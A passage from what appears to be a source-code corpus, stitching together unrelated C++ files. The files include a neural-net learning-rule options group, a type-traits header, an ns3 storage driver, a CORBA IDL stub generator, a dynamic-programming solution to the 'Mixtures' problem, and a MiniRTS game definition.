GradientDescentLearningRulePreferenceGroup::GradientDescentLearningRulePreferenceGroup(const GradientDescentLearningRuleOptions& options, const SimpleGradientDescentOptions& simpleGradientDescentOptions, const ResilientLearningRateOptions& resilientLearningRateOptions, const std::string& name)
{
initialize(false, options, simpleGradientDescentOptions, resilientLearningRateOptions);
}
void GradientDescentLearningRulePreferenceGroup::initialize(bool skipGradientDescentAlgorithm, const GradientDescentLearningRuleOptions& options, const SimpleGradientDescentOptions& simpleGradientDescentOptions, const ResilientLearningRateOptions& resilientLearningRateOptions)
{
AbstractSupervisedLearningRulePreferenceGroup::initialize(options);
if (!skipGradientDescentAlgorithm) {
ChoicePreference* choicePreference = new ChoicePreference(PREFERENCE_GRADIENT_DECENT_ALGORITHM, CHOICE_SIMPLE_GRADIENT_DESCENT);
choicePreference->addChoice(CHOICE_SIMPLE_GRADIENT_DESCENT);
choicePreference->addChoice(CHOICE_RESILIENT_LEARNING_RATE);
addPreference(choicePreference);
addPreference(new SimpleGradientDescentPreferenceGroup(simpleGradientDescentOptions));
addPreference(new ResilientLearningRatePreferenceGroup(resilientLearningRateOptions));
}
addPreference(new BackpropagationPreferenceGroup());
}
GradientDescentLearningRuleOptions GradientDescentLearningRulePreferenceGroup::create() const
{
GradientDescentLearningRuleOptions options;
fillOptions(options);
std::string gradientDescentAlgorithm = "";
try {
gradientDescentAlgorithm = getChoicePreference(PREFERENCE_GRADIENT_DECENT_ALGORITHM);
} catch(std::exception e) {
gradientDescentAlgorithm = "";
}
if (gradientDescentAlgorithm == CHOICE_SIMPLE_GRADIENT_DESCENT)
{
SimpleGradientDescentOptions gradientDescentOptions = createFromGroup<SimpleGradientDescentOptions, SimpleGradientDescentPreferenceGroup>();
options.gradientDescentAlgorithm = new SimpleGradientDescent(gradientDescentOptions);
}
else if (gradientDescentAlgorithm == CHOICE_RESILIENT_LEARNING_RATE)
{
ResilientLearningRateOptions resilientLearningRateOptions = createFromGroup<ResilientLearningRateOptions, ResilientLearningRatePreferenceGroup>();
options.gradientDescentAlgorithm = new ResilientLearningRate(resilientLearningRateOptions);
}
options.gradientCalculation = createFromGroup<Backpropagation*, BackpropagationPreferenceGroup>();
return options;
}
AbstractCloneable* GradientDescentLearningRulePreferenceGroup::clone() const
{
return new GradientDescentLearningRulePreferenceGroup(*this);
}
}
| 4,850 | 1,554 |
/// \copyright Tobias Hienzsch 2019-2021
/// Distributed under the Boost Software License, Version 1.0.
/// See accompanying file LICENSE or copy at http://boost.org/LICENSE_1_0.txt
#ifndef TETL_TYPE_TRAITS_INVOKE_RESULT_HPP
#define TETL_TYPE_TRAITS_INVOKE_RESULT_HPP
#include "etl/_type_traits/bool_constant.hpp"
#include "etl/_type_traits/decay.hpp"
#include "etl/_type_traits/declval.hpp"
#include "etl/_type_traits/enable_if.hpp"
#include "etl/_type_traits/is_base_of.hpp"
#include "etl/_type_traits/is_function.hpp"
#include "etl/_type_traits/is_reference_wrapper.hpp"
#include "etl/_utility/forward.hpp"
namespace etl {
namespace detail {
// clang-format off
template <typename T>
struct invoke_impl {
template <typename F, typename... Args>
static auto call(F&& f, Args&&... args) -> decltype(etl::forward<F>(f)(etl::forward<Args>(args)...));
};
template <typename B, typename MT>
struct invoke_impl<MT B::*> {
template <typename T, typename Td = etl::decay_t<T>, typename = etl::enable_if_t<etl::is_base_of_v<B, Td>>>
static auto get(T&& t) -> T&&;
template <typename T, typename Td = etl::decay_t<T>, typename = etl::enable_if_t<etl::is_reference_wrapper<Td>::value>>
static auto get(T&& t) -> decltype(t.get());
template <typename T, typename Td = etl::decay_t<T>, typename = etl::enable_if_t<!etl::is_base_of_v<B, Td>>, typename = etl::enable_if_t<!etl::is_reference_wrapper<Td>::value>>
static auto get(T&& t) -> decltype(*etl::forward<T>(t));
template <typename T, typename... Args, typename MT1, typename = etl::enable_if_t<etl::is_function_v<MT1>>>
static auto call(MT1 B::*pmf, T&& t, Args&&... args) -> decltype((invoke_impl::get(etl::forward<T>(t)).*pmf)(etl::forward<Args>(args)...));
template <typename T>
static auto call(MT B::*pmd, T&& t) -> decltype(invoke_impl::get(etl::forward<T>(t)).*pmd);
};
template <typename F, typename... Args, typename Fd = etl::decay_t<F>>
auto INVOKE(F&& f, Args&&... args) -> decltype(invoke_impl<Fd>::call(etl::forward<F>(f), etl::forward<Args>(args)...));
template <typename AlwaysVoid, typename, typename...>
struct invoke_result {};
template <typename F, typename... Args>
struct invoke_result<decltype(void(detail::INVOKE(etl::declval<F>(), etl::declval<Args>()...))), F, Args...> {
using type = decltype(detail::INVOKE(etl::declval<F>(), etl::declval<Args>()...));
};
// clang-format on
} // namespace detail
/// \brief Deduces the return type of an INVOKE expression at compile time.
/// F and all types in ArgTypes can be any complete type, array of unknown
/// bound, or (possibly cv-qualified) void. The behavior of a program that adds
/// specializations for any of the templates described on this page is
/// undefined. This implementation is copied from **cppreference.com**.
///
/// https://en.cppreference.com/w/cpp/types/result_of
///
/// \group invoke_result
template <typename F, typename... ArgTypes>
struct invoke_result : detail::invoke_result<void, F, ArgTypes...> {
};
/// \group invoke_result
template <typename F, typename... ArgTypes>
using invoke_result_t = typename etl::invoke_result<F, ArgTypes...>::type;
} // namespace etl
#endif // TETL_TYPE_TRAITS_INVOKE_RESULT_HPP | 3,224 | 1,199 |
#pragma once
namespace Fade {
class ISerializable
{
//virtual void Deserialize(FArchive& a_Archive);
//virtual void Serialize(FArchive& a_Archive);
};
} | 157 | 58 |
/// \file storage.cc
/// \author Marshall Asch <masch@uoguelph.ca>
/// \brief Storage driver for the RHPMAN data storage scheme.
///
///
/// Copyright (c) 2021 by Marshall Asch <masch@uoguelph.ca>
/// Permission to use, copy, modify, and/or distribute this software for any
/// purpose with or without fee is hereby granted, provided that the above
/// copyright notice and this permission notice appear in all copies.
///
/// THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
/// REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
/// AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
/// INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
/// LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
/// OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
/// PERFORMANCE OF THIS SOFTWARE.
///
#include "storage.h"
namespace rhpman {
using namespace ns3;
Storage::Storage() { m_storageSpace = 0; }
Storage::Storage(uint32_t capacity) { Init(capacity); }
Storage::~Storage() { ClearStorage(); }
// this will do the actual storage. will store the item not a copy
// true if there was space false otherwise
bool Storage::StoreItem(std::shared_ptr<DataItem> data) {
// make sure there are not too many items being stored and that the item is not already stored
if (m_storage.size() >= m_storageSpace || m_storage.count(data->getID()) == 1) return false;
m_storage[data->getID()] = data;
return true;
}
void Storage::Init(uint32_t capacity) {
m_storageSpace = capacity;
ClearStorage();
}
// this will return a pointer to the data item if it is found or NULL if it is not
std::shared_ptr<DataItem> Storage::GetItem(uint64_t dataID) {
// auto found = std::shared_ptr<DataItem>(nullptr);
return HasItem(dataID) ? m_storage[dataID] : std::shared_ptr<DataItem>(nullptr);
}
bool Storage::HasItem(uint64_t dataID) const { return m_storage.count(dataID) == 1; }
// return true if the item was removed from storage, false if it was not found
bool Storage::RemoveItem(uint64_t dataID) {
bool found = m_storage.count(dataID) == 1;
m_storage.erase(dataID);
return found;
}
// this will empty all data items from storage
void Storage::ClearStorage() { m_storage.clear(); }
std::vector<std::shared_ptr<DataItem>> Storage::GetAll() const {
std::vector<std::shared_ptr<DataItem>> items;
for (auto& pair : m_storage) {
items.push_back(pair.second);
}
return items;
}
// this is a helper and will return the number of data items that can be stored in local storage
uint32_t Storage::GetFreeSpace() const { return m_storageSpace - m_storage.size(); }
uint32_t Storage::Count() const { return m_storage.size(); }
double Storage::PercentUsed() const { return Count() / (double)m_storageSpace; }
double Storage::PercentFree() const { return GetFreeSpace() / (double)m_storageSpace; }
}; // namespace rhpman
| 2,975 | 988 |
// Copyright 2014 Samsung Electronics Inc. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "media/base/tizen/demuxer_stream_player_params_tizen.h"
namespace media {
DemuxerConfigs::DemuxerConfigs()
: audio_codec(kUnknownAudioCodec),
audio_channels(0),
audio_sampling_rate(0),
is_audio_encrypted(false),
video_codec(kUnknownVideoCodec),
is_video_encrypted(false),
duration_ms(0) {}
DemuxerConfigs::~DemuxerConfigs() {}
DemuxedBufferMetaData::DemuxedBufferMetaData()
: size(0),
end_of_stream(false),
type(DemuxerStream::UNKNOWN),
status(DemuxerStream::kAborted) {}
DemuxedBufferMetaData::~DemuxedBufferMetaData() {}
} // namespace media
| 791 | 287 |
//
// ami_cs.cpp,v 1.27 2000/11/16 03:51:19 bala Exp
//
// ============================================================================
//
// = LIBRARY
// TAO IDL
//
// = FILENAME
// ami_cs.cpp
//
// = DESCRIPTION
// Visitor generating code for Operation in the stubs file.
//
// = AUTHOR
// Aniruddha Gokhale,
// Alexander Babu Arulanthu <alex@cs.wustl.edu>
// Michael Kircher
//
// ============================================================================
#include "idl.h"
#include "idl_extern.h"
#include "be.h"
#include "be_visitor_operation.h"
ACE_RCSID(be_visitor_operation, operation_ami_cs, "ami_cs.cpp,v 1.27 2000/11/16 03:51:19 bala Exp")
// ************************************************************
// Operation visitor for client stubs
// ************************************************************
be_visitor_operation_ami_cs::be_visitor_operation_ami_cs (be_visitor_context *ctx)
: be_visitor_operation (ctx)
{
}
be_visitor_operation_ami_cs::~be_visitor_operation_ami_cs (void)
{
}
// Processing to be done after every element in the scope is
// processed.
int
be_visitor_operation_ami_cs::post_process (be_decl *bd)
{
// all we do here is to insert a comma and a newline
TAO_OutStream *os = this->ctx_->stream ();
if (!this->last_node (bd))
*os << ",\n";
return 0;
}
int
be_visitor_operation_ami_cs::visit_operation (be_operation *node)
{
// No sendc method for oneway operations.
if (node->flags () == AST_Operation::OP_oneway)
return 0;
TAO_OutStream *os; // output stream
be_visitor_context ctx; // visitor context
be_visitor *visitor; // visitor
os = this->ctx_->stream ();
this->ctx_->node (node); // save the node for future use
os->indent (); // start with the current indentation level
// Generate the return type mapping. Return type is simply void.
*os << "void" << be_nl;
// Generate the operation name.
// Grab the scope name.
be_decl *parent =
be_scope::narrow_from_scope (node->defined_in ())->decl ();
if (parent == 0)
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"scope name is nil\n"),
-1);
// Generate the scope::operation name.
*os << parent->full_name ()
<< "::sendc_";
// check if we are an attribute node in disguise
if (this->ctx_->attribute ())
{
// now check if we are a "get" or "set" operation
if (node->nmembers () == 1) // set
*os << "set_";
else
*os << "get_";
}
*os << node->local_name ()->get_string ();
// Generate the argument list with the appropriate mapping (same as
// in the header file)
ctx = *this->ctx_;
ctx.state (TAO_CodeGen::TAO_OPERATION_ARGLIST_OTHERS);
visitor = tao_cg->make_visitor (&ctx);
if ((!visitor) || (node->arguments ()->accept (visitor) == -1))
{
delete visitor;
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"codegen for argument list failed\n"),
-1);
}
delete visitor;
visitor = 0;
// Generate the actual code for the stub. However, if any of the argument
// types is "native", we flag a MARSHAL exception.
// last argument - is always CORBA::Environment
*os << "{" << be_idt_nl;
*os << this->gen_environment_var () << be_nl;
be_type *bt = be_type::narrow_from_decl (node->arguments ()->return_type ());
// generate any pre stub info if and only if none of our parameters is of the
// native type
if (!node->has_native ())
{
// native type does not exist.
// Generate any "pre" stub information such as tables or declarations
// This is a template method and the actual work will be done by the
// derived class
if (this->gen_pre_stub_info (node, bt) == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"gen_pre_stub_info failed\n"),
-1);
}
}
if (node->has_native ()) // native exists => no stub
{
if (this->gen_raise_exception (bt,
"CORBA::MARSHAL",
"") == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"codegen for return var failed\n"),
-1);
}
}
else
{
// Generate code that retrieves the underlying stub object and then
// invokes do_static_call on it.
*os << be_nl
<< "TAO_Stub *istub = this->_stubobj ();" << be_nl
<< "if (istub == 0)" << be_idt_nl;
// if the stub object was bad, then we raise a system exception
if (this->gen_raise_exception (bt, "CORBA::INV_OBJREF",
"") == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"codegen for checking exception failed\n"),
-1);
}
*os << be_uidt_nl << "\n";
// Generate the code for marshaling in the parameters and transmitting
// them.
if (this->gen_marshal_and_invoke (node, bt) == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_operation - "
"codegen for marshal and invoke failed\n"),
-1);
}
// No return values.
*os << "return;";
} // end of if (!native)
*os << be_uidt_nl << "}\n\n";
return 0;
}
int
be_visitor_operation_ami_cs::visit_argument (be_argument *node)
{
// this method is used to generate the ParamData table entry
TAO_OutStream *os = this->ctx_->stream ();
be_type *bt; // argument type
// retrieve the type for this argument
bt = be_type::narrow_from_decl (node->field_type ());
if (!bt)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"visit_argument - "
"Bad argument type\n"),
-1);
}
os->indent ();
*os << "{" << bt->tc_name () << ", ";
switch (node->direction ())
{
case AST_Argument::dir_IN:
*os << "PARAM_IN, ";
break;
case AST_Argument::dir_INOUT:
*os << "PARAM_INOUT, ";
break;
case AST_Argument::dir_OUT:
*os << "PARAM_OUT, ";
break;
}
*os << "0}";
return 0;
}
int
be_visitor_operation_ami_cs::gen_raise_exception (be_type *bt,
const char *excep,
const char *completion_status)
{
TAO_OutStream *os = this->ctx_->stream ();
be_visitor *visitor;
be_visitor_context ctx;
if (this->void_return_type (bt))
{
if (be_global->use_raw_throw ())
*os << "throw ";
else
*os << "ACE_THROW (";
*os << excep << " (" << completion_status << ")";
if (be_global->use_raw_throw ())
*os << ";\n";
else
*os << ");\n";
}
else
{
*os << "ACE_THROW_RETURN ("
<< excep << " (" << completion_status << "), ";
// return the appropriate return value
ctx = *this->ctx_;
ctx.state (TAO_CodeGen::TAO_OPERATION_RETVAL_RETURN_CS);
visitor = tao_cg->make_visitor (&ctx);
if (!visitor || (bt->accept (visitor) == -1))
{
delete visitor;
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"gen_raise_exception - "
"codegen for return var failed\n"),
-1);
}
*os << ");\n";
}
return 0;
}
int
be_visitor_operation_ami_cs::gen_check_exception (be_type *bt)
{
TAO_OutStream *os = this->ctx_->stream ();
be_visitor *visitor;
be_visitor_context ctx;
os->indent ();
// check if there is an exception
if (this->void_return_type (bt))
{
*os << "ACE_CHECK;\n";
}
else
{
*os << "ACE_CHECK_RETURN (";
// return the appropriate return value
ctx = *this->ctx_;
ctx.state (TAO_CodeGen::TAO_OPERATION_RETVAL_RETURN_CS);
visitor = tao_cg->make_visitor (&ctx);
if (!visitor || (bt->accept (visitor) == -1))
{
delete visitor;
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_visitor_operation_ami_cs::"
"gen_check_exception - "
"codegen failed\n"),
-1);
}
*os << ");\n";
}
return 0;
}
// ************************************************************
// Operation visitor for interpretive client stubs
// ************************************************************
be_interpretive_visitor_operation_ami_cs::
be_interpretive_visitor_operation_ami_cs (be_visitor_context *ctx)
: be_visitor_operation_ami_cs (ctx)
{
}
be_interpretive_visitor_operation_ami_cs::~be_interpretive_visitor_operation_ami_cs (void)
{
}
// concrete implementation of the template methods
int
be_interpretive_visitor_operation_ami_cs::gen_pre_stub_info (be_operation *node,
be_type *bt)
{
ACE_UNUSED_ARG (node);
ACE_UNUSED_ARG (bt);
return 0;
}
int
be_interpretive_visitor_operation_ami_cs::gen_marshal_and_invoke (be_operation *node,
be_type *bt)
{
ACE_UNUSED_ARG (node);
ACE_UNUSED_ARG (bt);
return 0;
}
// ************************************************************
// Operation visitor for compiled client stubs
// ************************************************************
be_compiled_visitor_operation_ami_cs::
be_compiled_visitor_operation_ami_cs (be_visitor_context *ctx)
: be_visitor_operation_ami_cs (ctx)
{
}
be_compiled_visitor_operation_ami_cs::~be_compiled_visitor_operation_ami_cs (void)
{
}
// concrete implementation of the template methods
int
be_compiled_visitor_operation_ami_cs::gen_pre_stub_info (be_operation *node,
be_type *bt)
{
// Nothing to be done here, we do not through any exceptions,
// besides system exceptions, so we do not need an user exception table.
ACE_UNUSED_ARG (node);
ACE_UNUSED_ARG (bt);
return 0;
}
int
be_compiled_visitor_operation_ami_cs::gen_marshal_and_invoke (be_operation *node,
be_type *bt)
{
TAO_OutStream *os = this->ctx_->stream ();
be_visitor *visitor;
be_visitor_context ctx;
os->indent ();
// Create the GIOP_Invocation and grab the outgoing CDR stream.
switch (node->flags ())
{
case AST_Operation::OP_oneway:
// If it is a oneway, we wouldnt have come here to generate AMI
// sendc method.
break;
default:
*os << "TAO_GIOP_Twoway_Asynch_Invocation _tao_call ";
}
*os << "(" << be_idt << be_idt_nl
<< "istub," << be_nl;
*os << "\"";
size_t ext = 0;
if (this->ctx_->attribute ())
{
// now check if we are a "get" or "set" operation
if (node->nmembers () == 1) // set
*os << "_set_";
else
*os << "_get_";
ext += 5;
}
// Do we have any arguments in the operation that needs marshalling
UTL_ScopeActiveIterator si (node,
UTL_Scope::IK_decls);
AST_Decl *d = 0;
AST_Argument *arg = 0;
int flag = 0;
while (!si.is_done ())
{
d = si.item ();
arg = AST_Argument::narrow_from_decl (d);
if (arg->direction () == AST_Argument::dir_IN ||
arg->direction () == AST_Argument::dir_INOUT)
{
// There is something that needs marshalling
flag = 1;
break;
}
si.next ();
}
*os << node->local_name ()
<< "\"," << be_nl
<< ACE_OS::strlen (node->original_local_name ()->get_string ()) + ext
<< "," << be_nl
<< flag
<< ","<< be_nl
<< "istub->orb_core ()," << be_nl;
// Next argument is the reply handler skeleton for this method.
// Get the interface.
be_decl *interface = be_interface::narrow_from_scope (node->defined_in ())->decl ();
{
char *full_name = 0;
interface->compute_full_name ("AMI_",
"Handler",
full_name);
*os << "&" << full_name << "::";
if (this->ctx_->attribute ())
{
// now check if we are a "get" or "set" operation
if (node->nmembers () == 1) // set
*os << "set_";
else
*os << "get_";
}
*os << node->local_name () << "_reply_stub," << be_nl;
delete full_name;
}
// Next argument is the ami handler passed in for this method.
*os << "ami_handler" << be_uidt_nl
<< ");" << be_uidt_nl;
*os << "\n" << be_nl
<< "for (;;)" << be_nl
<< "{" << be_idt_nl;
*os << "_tao_call.start (ACE_TRY_ENV);" << be_nl;
// Check if there is an exception.
// Return type is void, so we know what to generate here.
*os << "ACE_CHECK;" << be_nl;
// Prepare the request header
os->indent ();
*os << "CORBA::Short _tao_response_flag = ";
switch (node->flags ())
{
case AST_Operation::OP_oneway:
*os << "_tao_call.sync_scope ();";
break;
default:
*os << "TAO_TWOWAY_RESPONSE_FLAG;" << be_nl;
}
*os << be_nl
<< "_tao_call.prepare_header (" << be_idt << be_idt_nl
<< "ACE_static_cast (CORBA::Octet, _tao_response_flag), ACE_TRY_ENV"
<< be_uidt_nl << ");" << be_uidt << "\n";
// Now make sure that we have some in and inout
// parameters. Otherwise, there is nothing to be marshaled in.
if (this->has_param_type (node, AST_Argument::dir_IN) ||
this->has_param_type (node, AST_Argument::dir_INOUT))
{
*os << be_nl
<< "TAO_OutputCDR &_tao_out = _tao_call.out_stream ();"
<< be_nl
<< "if (!(\n" << be_idt << be_idt << be_idt;
// Marshal each in and inout argument.
ctx = *this->ctx_;
ctx.state (TAO_CodeGen::TAO_OPERATION_ARG_INVOKE_CS);
ctx.sub_state (TAO_CodeGen::TAO_CDR_OUTPUT);
visitor = tao_cg->make_visitor (&ctx);
if (!visitor || (node->marshaling ()->accept (visitor) == -1))
{
delete visitor;
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_compiled_visitor_operation_ami_cs::"
"gen_marshal_and_invoke - "
"codegen for return var in do_static_call failed\n"),
-1);
}
*os << be_uidt << be_uidt_nl
<< "))" << be_nl;
// If marshaling fails, raise exception.
if (this->gen_raise_exception (bt, "CORBA::MARSHAL",
"") == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_compiled_visitor_operation_ami_cs::"
"gen_marshal_and invoke - "
"codegen for return var failed\n"),
-1);
}
*os << be_uidt;
}
*os << be_nl
<< "int _invoke_status = _tao_call.invoke (ACE_TRY_ENV);";
*os << be_uidt_nl;
// Check if there is an exception.
if (this->gen_check_exception (bt) == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_compiled_visitor_operation_ami_cs::"
"gen_marshal_and_invoke - "
"codegen for checking exception failed\n"),
-1);
}
*os << be_nl
<< "if (_invoke_status == TAO_INVOKE_RESTART)" << be_idt_nl
<< "{" << be_nl
<< " _tao_call.restart_flag (1);" << be_nl
<< " continue;" <<be_nl
<< "}"<< be_uidt_nl
<< "if (_invoke_status != TAO_INVOKE_OK)" << be_nl
<< "{" << be_idt_nl;
if (this->gen_raise_exception (bt,
"CORBA::UNKNOWN",
"TAO_DEFAULT_MINOR_CODE, CORBA::COMPLETED_YES") == -1)
{
ACE_ERROR_RETURN ((LM_ERROR,
"(%N:%l) be_compiled_visitor_operation_ami_cs::"
"gen_marshal_and invoke - "
"codegen for return var failed\n"),
-1);
}
*os << be_uidt_nl
<< "}" << be_nl
<< "break;" << be_nl
<< be_uidt_nl << "}" << be_nl;
// Return type is void and we are going to worry about OUT or INOUT
// parameters. Return from here.
return 0;
}
| 17,760 | 6,065 |
#include <named_types/named_tuple.hpp>
#include <type_traits>
#include <string>
#include <iostream>
#include <vector>
using namespace named_types;
namespace {
size_t constexpr operator "" _h(const char* c, size_t s) { return const_hash(c); }
template <size_t HashCode> constexpr named_tag<std::integral_constant<size_t,HashCode>> at() { return {}; }
template <size_t HashCode, class Tuple> constexpr decltype(auto) at(Tuple&& in) { return at<HashCode>()(std::forward<Tuple>(in)); }
}
int main() {
auto test = make_named_tuple(
at<"name"_h>() = std::string("Roger")
, at<"age"_h>() = 47
, at<"size"_h>() = 1.92
, at<"list"_h>() = std::vector<int> {1,2,3}
);
std::cout
<< at<"name"_h>(test) << "\n"
<< at<"age"_h>(test) << "\n"
<< at<"size"_h>(test) << "\n"
<< at<"list"_h>(test).size()
<< std::endl;
std::get<decltype(at<"name"_h>())>(test) = "Marcel";
++std::get<1>(test);
at<"size"_h>(test) = 1.93;
return 0;
}
| 983 | 410 |
//------------------------------------------------------------------------------
// transformnode.cc
// (C)2017-2020 Individual contributors, see AUTHORS file
//------------------------------------------------------------------------------
#include "render/stdneb.h"
#include "transformnode.h"
#include "coregraphics/transformdevice.h"
using namespace Util;
namespace Models
{
//------------------------------------------------------------------------------
/**
*/
TransformNode::TransformNode() :
position(0.0f, 0.0f, 0.0f),
rotate(0.0f, 0.0f, 0.0f, 1.0f),
scale(1.0f, 1.0f, 1.0f),
rotatePivot(0.0f, 0.0f, 0.0f),
scalePivot(0.0f, 0.0f, 0.0f),
isInViewSpace(false),
minDistance(0.0f),
maxDistance(10000.0f),
useLodDistances(false),
lockedToViewer(false)
{
this->type = TransformNodeType;
this->bits = HasTransformBit;
}
//------------------------------------------------------------------------------
/**
*/
TransformNode::~TransformNode()
{
// empty
}
//------------------------------------------------------------------------------
/**
*/
bool
TransformNode::Load(const Util::FourCC& fourcc, const Util::StringAtom& tag, const Ptr<IO::BinaryReader>& reader, bool immediate)
{
bool retval = true;
if (FourCC('POSI') == fourcc)
{
// position
this->position = xyz(reader->ReadVec4());
}
else if (FourCC('ROTN') == fourcc)
{
// rotation
this->rotate = reader->ReadVec4();
}
else if (FourCC('SCAL') == fourcc)
{
// scale
this->scale = xyz(reader->ReadVec4());
}
else if (FourCC('RPIV') == fourcc)
{
this->rotatePivot = xyz(reader->ReadVec4());
}
else if (FourCC('SPIV') == fourcc)
{
this->scalePivot = xyz(reader->ReadVec4());
}
else if (FourCC('SVSP') == fourcc)
{
this->isInViewSpace = reader->ReadBool();
}
else if (FourCC('SLKV') == fourcc)
{
this->lockedToViewer = reader->ReadBool();
}
else if (FourCC('SMID') == fourcc)
{
this->minDistance = reader->ReadFloat();
this->maxDistance = Math::max(this->minDistance, this->maxDistance);
this->useLodDistances = true;
}
else if (FourCC('SMAD') == fourcc)
{
this->maxDistance = reader->ReadFloat();
this->minDistance = Math::min(this->minDistance, this->maxDistance);
this->useLodDistances = true;
}
else
{
retval = ModelNode::Load(fourcc, tag, reader, immediate);
}
return retval;
}
//------------------------------------------------------------------------------
/**
*/
void
TransformNode::Instance::Update()
{
CoreGraphics::TransformDevice* transformDevice = CoreGraphics::TransformDevice::Instance();
transformDevice->SetModelTransform(this->modelTransform);
transformDevice->SetObjectId(this->objectId);
}
} // namespace Models | 2,913 | 924 |
/*MIXTURES - Mixtures
#dynamic-programming
Harry Potter has n mixtures in front of him, arranged in a row. Each mixture has one of 100 different colors (colors have numbers from 0 to 99).
He wants to mix all these mixtures together. At each step, he is going to take two mixtures that stand next to each other and mix them together, and put the resulting mixture in their place.
When mixing two mixtures of colors a and b, the resulting mixture will have the color (a+b) mod 100.
Also, there will be some smoke in the process. The amount of smoke generated when mixing two mixtures of colors a and b is a*b.
Find out what is the minimum amount of smoke that Harry can get when mixing all the mixtures together.
Input
There will be a number of test cases in the input.
The first line of each test case will contain n, the number of mixtures, 1 <= n <= 100.
The second line will contain n integers between 0 and 99 - the initial colors of the mixtures.
Output
For each test case, output the minimum amount of smoke.
Example
Input:
2
18 19
3
40 60 20
Output:
342
2400
In the second test case, there are two possibilities:
first mix 40 and 60 (smoke: 2400), getting 0, then mix 0 and 20 (smoke: 0); total amount of smoke is 2400
first mix 60 and 20 (smoke: 1200), getting 80, then mix 40 and 80 (smoke: 3200); total amount of smoke is 4400
The first scenario is a much better way to proceed. */
#include <algorithm>
#include <iostream>
#include <iterator>
#include <limits>
#include <numeric>
#include <vector>
long solve(const int i,
const int j,
const std::vector<int>& arr,
std::vector<std::vector<int>>& dp)
{
if (i >= j)
return 0;
else if (dp[i][j] != -1)
return dp[i][j];
else
{
long res = std::numeric_limits<int>::max();
for (int k = i; k < j; ++k)
{
static auto sum_mod = [](int a, int b){return (a + b) % 100;};
int csum1 = std::accumulate(std::begin(arr)+i,
std::begin(arr)+k+1,
0,
sum_mod);
int csum2 = std::accumulate(std::begin(arr)+k+1,
std::begin(arr)+j+1,
0,
sum_mod);
res = std::min(res, solve(i, k, arr, dp) + solve(k+1, j, arr, dp) + (csum1*csum2));
}
dp[i][j] = res;
return res;
}
}
int main()
{
std::ios_base::sync_with_stdio(false);
int n;
while (std::cin >> n)
{
std::vector<int> arr (n);
std::vector<std::vector<int>> dp (n, std::vector<int>(n, -1));
std::copy_n(std::istream_iterator<int>(std::cin), n, std::begin(arr));
std::cout << solve(0, n-1, arr, dp) << std::endl;
}
return 0;
}
| 2,976 | 987 |
#pragma once
#include <map>
#include <new>
#include <ostream>
#include "IMemoryManager.hpp"
#include "portable.hpp"
namespace My {
ENUM(MemoryType){CPU = "CPU"_i32, GPU = "GPU"_i32};
std::ostream& operator<<(std::ostream& out, MemoryType type);
class MemoryManager : _implements_ IMemoryManager {
public:
~MemoryManager() override = default;
int Initialize() override;
void Finalize() override;
void Tick() override;
void* AllocatePage(size_t size) override;
void FreePage(void* p) override;
protected:
struct MemoryAllocationInfo {
size_t PageSize;
MemoryType PageMemoryType;
};
std::map<void*, MemoryAllocationInfo> m_mapMemoryAllocationInfo;
};
} // namespace My
| 732 | 240 |
/**
* Copyright (c) 2017-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
#include "../engine/gamedef.h"
#include "../engine/game_env.h"
#include "../engine/rule_actor.h"
#include "../engine/cmd.gen.h"
#include "../engine/cmd_specific.gen.h"
#include "cmd_specific.gen.h"
int GameDef::GetNumUnitType() {
return NUM_MINIRTS_UNITTYPE;
}
int GameDef::GetNumAction() {
return NUM_AISTATE;
}
bool GameDef::IsUnitTypeBuilding(UnitType t) const{
return (t == BASE) || (t == RESOURCE) || (t == BARRACKS);
}
bool GameDef::HasBase() const{ return true; }
bool GameDef::CheckAddUnit(RTSMap *_map, UnitType, const PointF& p) const{
return _map->CanPass(p, INVALID);
}
void GameDef::InitUnits() {
_units.assign(GetNumUnitType(), UnitTemplate());
_units[RESOURCE] = _C(0, 1000, 1000, 0, 0, 0, 0, vector<int>{0, 0, 0, 0}, vector<CmdType>{}, ATTR_INVULNERABLE);
_units[WORKER] = _C(50, 50, 0, 0.1, 2, 1, 3, vector<int>{0, 10, 40, 40}, vector<CmdType>{MOVE, ATTACK, BUILD, GATHER});
_units[MELEE_ATTACKER] = _C(100, 100, 1, 0.1, 15, 1, 3, vector<int>{0, 15, 0, 0}, vector<CmdType>{MOVE, ATTACK});
_units[RANGE_ATTACKER] = _C(100, 50, 0, 0.2, 10, 5, 5, vector<int>{0, 10, 0, 0}, vector<CmdType>{MOVE, ATTACK});
_units[BARRACKS] = _C(200, 200, 1, 0.0, 0, 0, 5, vector<int>{0, 0, 0, 50}, vector<CmdType>{BUILD});
